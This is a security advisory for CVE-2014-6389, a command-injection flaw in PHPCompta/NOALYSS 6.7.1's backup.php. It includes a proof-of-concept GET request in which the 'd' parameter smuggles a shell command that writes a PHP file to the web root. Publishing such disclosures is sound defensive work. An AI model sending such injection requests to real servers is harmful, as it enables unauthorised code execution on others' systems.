  Vulnerability title: Remote Command Execution in PHPCompta/NOALYSS CVE: CVE-2014-6389 Vendor: PHPCompta Product: PHPCompta/NOALYSS Affected version: 6.7.1 5638 Fixed version: 6.7.2 Reported by: Jerzy Kramarz   Details:   PhpCompta 6.7.1-2 does not validate the syntax of the commands when processing backup requests from users. It is possible to abuse the 'd' parameter to inject additional parameters that will then be passed via the php passthru() function to create a backup file, which will subsequently be executed. The proof of concept below will create a file 'exploit.php' in the root directory of the application, which will execute phpinfo() function when called.   GET /phpcompta/backup.php?sa=b&t=m&d=123;%20echo%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%22%20>%20exploit.php HTTP/1.1 Host: 192.168.56.101 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=3nckv75pburv54tm2iq79dfgl6 Connection: keep-alive   Further details at:   https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6389/   Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide.
